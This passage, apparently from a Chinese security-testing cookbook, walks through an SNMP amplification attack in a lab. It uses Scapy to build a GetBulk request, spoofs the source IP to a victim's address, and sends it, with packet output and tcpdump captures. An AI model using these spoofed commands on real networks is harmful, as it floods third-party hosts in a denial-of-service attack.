为了开始，我们应该初始化一个 SNMP 查询，使其返回到我们的系统，来评估要使用的载荷大小。 为了发送我们的 SNMP 查询请求，我们必须首先构建此请求的层级。 我们需要构建的第一层是 IP 层：
代码语言：javascript复制>>> i = IP()
>>> i.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 127.0.0.1
dst= 127.0.0.1
options
>>> i.dst = "172.16.36.134"
>>> i.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 172.16.36.224
dst= 172.16.36.134
options要构建我们的请求的 IP 层，我们应该将 IP 对象赋给变量i。 通过调用display()函数，我们可以确定该对象的属性配置。 通常，发送和接收地址都设为回送地址127.0.0.1。 可以通过将i.dst设置为广播地址的字符串值，来更改目标地址并修改这些值。 通过再次调用display()函数，我们可以看到，不仅更新了目的地址，而且Scapy也会自动将源 IP 地址更新为与默认接口相关的地址。 现在我们已经构建了请求的 IP 层，我们应该继续构建 UDP 层：
>>> u = UDP()
>>> u.display()
###[ UDP ]###
sport= domain
dport= domain
len= None
chksum= None要构建我们的请求的 UDP 层，我们将使用与IP层相同的技术。 在提供的示例中，UDP 对象赋给了u变量。 如前所述，可以通过调用display()函数来确定默认配置。 在这里，我们可以看到源和目标端口的默认值都列为domain。 您可能能猜到，这表示与端口 53 相关的 DNS服 务。你可能已经猜到，它需要修改为 SNMP 相关的端口：
>>> u.dport = 161
>>> u.sport = 161
>>> u.display()
###[ UDP ]###
sport= snmp
dport= snmp
len= None
chksum= None 要将源端口和目标端口更改为 SNMP，应将整数值 161 传递给它; 此值对应于与服务关联的 UDP 端口。 这些更改可以通过再次调用display()函数来验证。 现在已经构建了 IP 和 UDP 层，我们需要构建 SNMP 层：
>>> snmp = SNMP()
>>> snmp.display()
###[ SNMP ]###
version= v2c
community= 'public'
PDU
|###[ SNMPget ]###
| id= 0
| error= no_error
| error_index= 0
|
varbindlist为了构建我们的请求的 SNMP 层，我们将使用与 IP 和 UDP 层相同的技术。 在提供的示例中，SNMP 对象已赋给snmp变量。 如前所述，可以通过调用display()函数来标识默认配置。 现在已经构建了 IP，UDP 和 SNMP 层，我们需要构建一个批量请求来替换默认赋给 PDU 值的SNMPget请求：
>>> bulk = SNMPbulk()
>>> bulk.display()
###[ SNMPbulk ]###
id= 0
non_repeaters= 0
max_repetitions= 0
varbindlist 为了构建 SNMP 批量请求，我们将使用与 IP，UDP 和 SNMP 层相同的技术。 在提供的示例中，SNMP 批量请求已赋给了bulk变量。 如前所述，可以通过调用display()函数来确认默认配置。 在这里，我们可以看到有几个值需要修改：
>>> bulk.max_repetitions = 50
>>> bulk.varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1')),SNMPvarb ind(oid=ASN1_OID('1.3.6.1.2.1.19.1.3'))]
>>> bulk.display()
###[ SNMPbulk ]###
id= 0
non_repeaters= 0
max_repetitions= 50
varbindlist
|###[ SNMPvarbind ]###
| oid= <ASN1_OID['.1.3.6.1.2.1.1']>
| value= <ASN1_NULL[0]>
|###[ SNMPvarbind ]###
| oid= <ASN1_OID['.1.3.6.1.2.1.19.1.3']>
| value= <ASN1_NULL[0]>SNMP varbindlist需要修改来包含查询的 OID 值。 此外，max_repetitions赋了整数值为 50。现在批量请求已配置完毕，批量请求对象应赋给SNMP PDU值：
>>> snmp.PDU = bulk
>>> snmp.display()
###[ SNMP ]###
version= v2c
community= 'public'
PDU
|###[ SNMPbulk ]###
| id= 0
| non_repeaters= 0
| max_repetitions= 50
| varbindlist
|
|###[ SNMPvarbind ]###
|
| oid= <ASN1_OID['.1.3.6.1.2.1.1']>
|
| value= <ASN1_NULL[0]>
|
|###[ SNMPvarbind ]###
|
| oid= <ASN1_OID['.1.3.6.1.2.1.19.1.3']>
|
| value= <ASN1_NULL[0]> 我们可以通过调用display()函数来验证批量请求是否已赋给SNMP PDU值。 现在已经构建了 IP，UDP 和 SNMP 层，并且批量请求已经配置并赋给 SNMP 层，我们可以通过堆叠这些层来构造请求：
>>> request = (i/u/snmp)
>>> request.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= udp
chksum= None
src= 172.16.36.224
dst= 172.16.36.134
options
###[ UDP ]###
sport= snmp
dport= snmp
len= None
chksum= None
###[ SNMP ]###
version= v2c
community= 'public'
PDU
|###[ SNMPbulk ]###
| id= 0
| non_repeaters= 0
| max_repetitions= 50
| varbindlist
|
|###[ SNMPvarbind ]###
|
| oid= <ASN1_OID['.1.3.6.1.2.1.1']>
|
| value= <ASN1_NULL[0]>
|
|###[ SNMPvarbind ]###
|
| oid= <ASN1_OID['.1.3.6.1.2.1.19.1.3']>
|
| value= <ASN1_NULL[0]>可以通过使用斜杠分隔变量来堆叠 IP，UDP 和 SNMP 层。 然后可以将这些层赋给表示整个请求的新变量。 然后可以调用display()函数来查看请求的配置。 一旦建立了请求，就可以将其传递给发送和接收函数，以便我们可以分析响应：
>>> ans = sr1(request,verbose=1,timeout=5)
Begin emission:
Finished to send 1 packets.
Received 1 packets, got 1 answers, remaining 0 packets
>>> ans.display()
###[ IP ]###
version= 4L
ihl= 5L
tos= 0x0
len= 1500
id= 27527
flags= MF
frag= 0L
ttl= 128
proto= udp
chksum= 0x803
src= 172.16.36.134
dst= 172.16.36.224
options
###[ UDP ]###
sport= snmp
dport= snmp
len= 2161
chksum= 0xdcbf
###[ Raw ]###
load= '0x82x08ex02x01x01x04x06publicxa2x82x08Vx02 x01x00x02x01x00x02x01x000x82x08I0x81x8bx06x08 x06x01x02 x01x01x01x00x04x7fHardware: x86 Family 6 Model 58 Stepping 9 AT/AT COMPATIBLE - Software: Windows 2000 Version 5.1 (Build 2600 Uniprocessor Free)0x10x06t x06x01x02x01x19x01x01x00Cx03pxff?0x18x06 x08 x06x01x02x01x01x02x00x06x0c x06x01x04x01x827x01x01 x03x01x010x15x06t x06x01x02x01x19x01x02x00x04x08x07xde x02x19x08rx1dx030x0fx06x08 x06x01x02x01x01x03x00Cx03o x8ex8a0x0ex06t x06x01x02x01x19x01x03x00x02x01x000x0c x06x08 x06x01x02x01x01x04x00x04x000rx06t x06x01x02x01 x19x01x04x00x04x000x1bx06x08 x06x01x02x01x01x05x00x04 x0fDEMO-72E8F41CA40x0ex06t x06x01x02x01x19x01x05x00Bx01x020 x0cx06x08 x06x01x02x01x01x06x00x04x000x0ex06t x06x01 x02x01x19x01x06x00Bx01/0rx06x08 x06x01x02x01x01x07x00 x02x01L0x0ex06t x06x01x02x01x19x01x07x00x02x01x000rx06 x08 x06x01x02x01x02x01x00x02x01x020x10x06t x06x01x02x01 x19x02x02x00x02x03x1fxfdxf00x0fx06n x06x01x02x01x02x02 x01x01x01x02x01x010x10x06x0b x06x01x02x01x19x02x03x01 x01x01x02x01x010x0fx06n x06x01x02x01x02x02x01x01x02x02 x01x020x10x06x0b x06x01x02x01x19x02x03x01x01x02x02x01 x020(x06n x06x01x02x01x02x02x01x02x01x04x1aMS TCP Loopback interfacex000x10x06x0b x06x01x02x01x19x02x03x01x01x03x02x01x030Px06n x06x01x02x01x02x02x01x02x02x04BAMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniportx000x10x06x0b x06 x01x02x01x19x02x03x01x01x04x02x01x040x0fx06n x06x01x02 x01x02x02x01x03x01x02x01x180x10x06x0b x06x01x02x01x19 x02x03x01x01x05x02x01x050x0fx06n x06x01x02x01x02x02x01 x03x02x02x01x060x18x06x0b x06x01x02x01x19x02x03x01x02 x01x06t x06x01x02x01x19x02x01x050x10x06n x06x01x02x01 x02x02x01x04x01x02x02x05xf00x18x06x0b x06x01x02x01x19 x02x03x01x02x02x06t x06x01x02x01x19x02x01x040x10x06n x06x01x02x01x02x02x01x04x02x02x02x05xdc0x18x06x0b x06 x01x02x01x19x02x03x01x02x03x06t x06x01x02x01x19x02x01 x070x12x06n x06x01x02x01x02x02x01x05x01Bx04x00x98x96 x800x18x06x0b x06x01x02x01x19x02x03x01x02x04x06t x06 x01x02x01x19x02x01x030x12x06n x06x01x02x01x02x02x01x05 x02Bx04;x9axcax000x18x06x0b x06x01x02x01x19x02x03x01x02 x05x06t x06x01x02x01x19x02x01x020x0ex06n x06x01x02x01 x02x02x01x06x01x04x000x12x06x0b x06x01x02x01x19x02x03 x01x03x01x04x03A:\0x14x06n x06x01x02x01x02x02x01x06x02 x04x06x00x0c)x18x11xfb01x06x0b x06x01x02x01x19x02x03x01 x03x02x04"C:\ Label: Serial Number 5838200b0x0fx06n x06x01x02 x01x02x02x01x07x01x02x01x010x12x06x0b x06x01x02x01x19 x02x03x01x03x03x04x03D:\0x0fx06n x06x01x02x01x02x02x01 x07x02x02x01x010x1dx06x0b x06x01x02x01x19x02x03x01x03 x04x04x0eVirtual Memory0x0fx06n x06x01x02x01x02x02x01x08 x01x02x01x010x1ex06x0b x06x01x02x01x19x02x03x01x03x05 x04x0fPhysical Memory0x0fx06n x06x01x02x01x02x02x01x08x02 x02x01x010x10x06x0b x06x01x02x01x19x02x03x01x04x01x02 x01x000x0fx06n x06x01x02x01x02x02x01tx01Cx01x000x11x06 x0b x06x01x02x01x19x02x03x01x04x02x02x02x10x000x11x06 n x06x01x02x01x02x02x01tx02Cx03mxbb00x10x06x0b x06x01 x02x01x19x02x03x01x04x03x02x01x000x12x06n x06x01x02x01 x02x02x01nx01Ax04x05xcbxd6M0x12x06x0b x06x01x02x01x19 x02x03x01x04x04x02x03x01x00x000x11x06n x06x01x02x01x02 x02x01nx02Ax03x06xb1xa80x12x06x0b x06x01x02x01x19x02x03 x01x04x05x02x03x01x00x000x11x06n x06x01x02x01x02x02x01 x0bx01Ax03rRx920x10x06x0b x06x01x02x01x19x02x03x01x05 x01x02x01x000x10x06n x06x01x02x01x02x02x01x0bx02Ax02x0c xfe0x13x06x0b x06x01x02x01x19x02x03x01x05x02x02x04x00 x9fxf6a0x0fx06n x06x01x02x01x02x02x01x0cx01Ax01x000x10 x06x0b x06x01x02x01x19x02x03x01x05x03x02x01x000' 响应确认了我们已经成功构建了所需请求，并且与最初生成的相对较小请求相比，已经请求了相当大的载荷。 与之相似，整个过程可以使用 Scapy 中的单个命令来执行。 此命令使用所有与上一个练习中讨论的相同的值：
代码语言：javascript复制>>> sr1(IP(dst="172.16.36.134")/UDP(sport=161,dport=161)/ SNMP(PDU=SNMPbulk(max_repetitions=50,varbindlist=[SNMPvarbind(oid=ASN1_OD('1.3.6.1.2.1.1')),SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.19.1.3'))])),ve rbose=1,timeout=5)
Begin emission: Finished to send 1 packets.
<IP version=4L ihl=5L tos=0x0 len=1500 id=14170 flags=MF frag=0L ttl=128 proto=udp chksum=0x3c30 src=172.16.36.134 dst=172.16.36.224 options=[] |<UDP sport=snmp dport=snmp len=2162 chksum=0xd961 |<Raw load='0x82 x08fx02x01x01x04x06publicxa2x82x08Wx02x01x00x02x01x00 x02x01x000x82x08J0x81x8bx06x08 x06x01x02x01x01x01x00 x04x7fHardware: x86 Family 6 Model 58 Stepping 9 AT/AT COMPATIBLE - Software: Windows 2000 Version 5.1 (Build 2600 Uniprocessor Free)0x11 x06t x06x01x02x01x19x01x01x00Cx04x00xa3ixad0x18x06x08 x06x01x02x01x01x02x00x06x0c x06x01x04x01x827x01x01x03 x01x010x15x06t x06x01x02x01x19x01x02x00x04x08x07xdex02 x19tx08!x010x0fx06x08 x06x01x02x01x01x03x00Cx03tx99x180 x0ex06t x06x01x02x01x19x01x03x00x02x01x000x0cx06x08 x06x01x02x01x01x04x00x04x000rx06t x06x01x02x01x19x01 x04x00x04x000x1bx06x08 x06x01x02x01x01x05x00x04x0fDEMO72E8F41CA40x0ex06t x06x01x02x01x19x01x05x00Bx01x020x0cx06 x08 x06x01x02x01x01x06x00x04x000x0ex06t x06x01x02x01 x19x01x06x00Bx01/0rx06x08 x06x01x02x01x01x07x00x02x01L0 x0ex06t x06x01x02x01x19x01x07x00x02x01x000rx06x08 x06 x01x02x01x02x01x00x02x01x020x10x06t x06x01x02x01x19x02 x02x00x02x03x1fxfdxf00x0fx06n x06x01x02x01x02x02x01x01 x01x02x01x010x10x06x0b x06x01x02x01x19x02x03x01x01x01 x02x01x010x0fx06n x06x01x02x01x02x02x01x01x02x02x01x020 x10x06x0b x06x01x02x01x19x02x03x01x01x02x02x01x020(x06 n x06x01x02x01x02x02x01x02x01x04x1aMS TCP Loopback interface x000x10x06x0b x06x01x02x01x19x02x03x01x01x03x02x01x030P x06n x06x01x02x01x02x02x01x02x02x04BAMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniportx000x10x06x0b x06x01 x02x01x19x02x03x01x01x04x02x01x040x0fx06n x06x01x02x01 x02x02x01x03x01x02x01x180x10x06x0b x06x01x02x01x19x02 x03x01x01x05x02x01x050x0fx06n x06x01x02x01x02x02x01x03 x02x02x01x060x18x06x0b x06x01x02x01x19x02x03x01x02x01 x06t x06x01x02x01x19x02x01x050x10x06n x06x01x02x01x02 x02x01x04x01x02x02x05xf00x18x06x0b x06x01x02x01x19x02 x03x01x02x02x06t x06x01x02x01x19x02x01x040x10x06n x06 x01x02x01x02x02x01x04x02x02x02x05xdc0x18x06x0b x06x01 x02x01x19x02x03x01x02x03x06t x06x01x02x01x19x02x01x070 x12x06n x06x01x02x01x02x02x01x05x01Bx04x00x98x96x800 x18x06x0b x06x01x02x01x19x02x03x01x02x04x06t x06x01x02 x01x19x02x01x030x12x06n x06x01x02x01x02x02x01x05x02B x04;x9axcax000x18x06x0b x06x01x02x01x19x02x03x01x02x05 x06t x06x01x02x01x19x02x01x020x0ex06n x06x01x02x01x02 x02x01x06x01x04x000x12x06x0b x06x01x02x01x19x02x03x01 x03x01x04x03A:\0x14x06n x06x01x02x01x02x02x01x06x02x04 x06x00x0c)x18x11xfb01x06x0b x06x01x02x01x19x02x03x01x03x02x04"C:\ Label: Serial Number 5838200b0x0fx06n x06x01x02x01 x02x02x01x07x01x02x01x010x12x06x0b x06x01x02x01x19x02 x03x01x03x03x04x03D:\0x0fx06n x06x01x02x01x02x02x01x07 x02x02x01x010x1dx06x0b x06x01x02x01x19x02x03x01x03x04 x04x0eVirtual Memory0x0fx06n x06x01x02x01x02x02x01x08x01 x02x01x010x1ex06x0b x06x01x02x01x19x02x03x01x03x05x04 x0fPhysical Memory0x0fx06n x06x01x02x01x02x02x01x08x02x02 x01x010x10x06x0b x06x01x02x01x19x02x03x01x04x01x02x01 x000x0fx06n x06x01x02x01x02x02x01tx01Cx01x000x11x06x0b x06x01x02x01x19x02x03x01x04x02x02x02x10x000x11x06n x06 x01x02x01x02x02x01tx02Cx03mxbb00x10x06x0b x06x01x02x01 x19x02x03x01x04x03x02x01x000x12x06n x06x01x02x01x02x02 x01nx01Ax04x08OB_0x12x06x0b x06x01x02x01x19x02x03x01x04 x04x02x03x01x00x000x11x06n x06x01x02x01x02x02x01nx02A x03rIe0x12x06x0b x06x01x02x01x19x02x03x01x04x05x02x03 x01x00x000x11x06n x06x01x02x01x02x02x01x0bx01Ax03x13x14 xde0x10x06x0b x06x01x02x01x19x02x03x01x05x01x02x01x000 x10x06n x06x01x02x01x02x02x01x0bx02Ax02x1exc10x13x06 x0b x06x01x02x01x19x02x03x01x05x02x02x04x00x9fxf6a0x0f x06n x06x01x02x01x02x02x01x0cx01Ax01x000x10x06x0b x06 x01x02x01x19x02x03x01x05x03x02x01x00' |>>> 为了实际将此命令用作攻击，源 IP 地址需要更改为目标系统的 IP 地址。 这样，我们应该能够将载荷重定向给那个受害者。 这可以通过将 IP src值更改为目标 IP 地址的字符串来完成：
>>> send(IP(dst="172.16.36.134",src="172.16.36.135")/ UDP(sport=161,dport=161)/SNMP(PDU=SNMPbulk(max_repetitions=50,varbindlist =[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1')),SNMPvarbind(oid=ASN1_OID('1. 3.6.1.2.1.19.1.3'))])),verbose=1,count=2)
.
Sent 2 packets. send()函数应该用于发送这些伪造请求，因为响应返回预期不会给本地接口。 要确认载荷是否到达目标系统，可以使用 TCPdump 捕获传入流量：
admin@ubuntu:~$ sudo tcpdump -i eth0 -vv src 172.16.36.134
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
13:32:14.210732 IP (tos 0x0, ttl 128, id 5944, offset 0, flags [ ], proto UDP (17), length 1500) 172.16.36.134.snmp > 172.16.36.135.snmp: [len1468<asnlen2150]
13:32:14.210732 IP (tos 0x0, ttl 128, id 5944, offset 1480, flags [none], proto UDP (17), length 702) 172.16.36.134 > 172.16.36.135: udp
13:32:35.133384 IP (tos 0x0, ttl 128, id 8209, offset 0, flags [ ], proto UDP (17), length 1500) 172.16.36.134.snmp > 172.16.36.135.snmp: [len1468<asnlen2150]
13:32:35.133384 IP (tos 0x0, ttl 128, id 8209, offset 1480, flags [none], proto UDP (17), length 702) 172.16.36.134 > 172.16.36.135: udp
4 packets captured
4 packets received by filter
0 packets dropped by kernel 在所提供的示例中，TCPdump 配置为捕获eth0接口上，来自源IP地址172.16.36.134（SNMP 主机的IP地址）的流量。
工作原理
放大攻击的原理是利用第三方设备，使网络流量压倒目标。 对于多数放大攻击，必须满足两个条件：
- 用于执行攻击的协议不验证请求源
- 来自所使用的网络功能的响应应该显着大于用于请求它的请求。
SNMP 放大攻击的效率取决于 SNMP 查询的响应大小。 另外，可以通过使用多个 SNMP 服务器来增加攻击的威力。
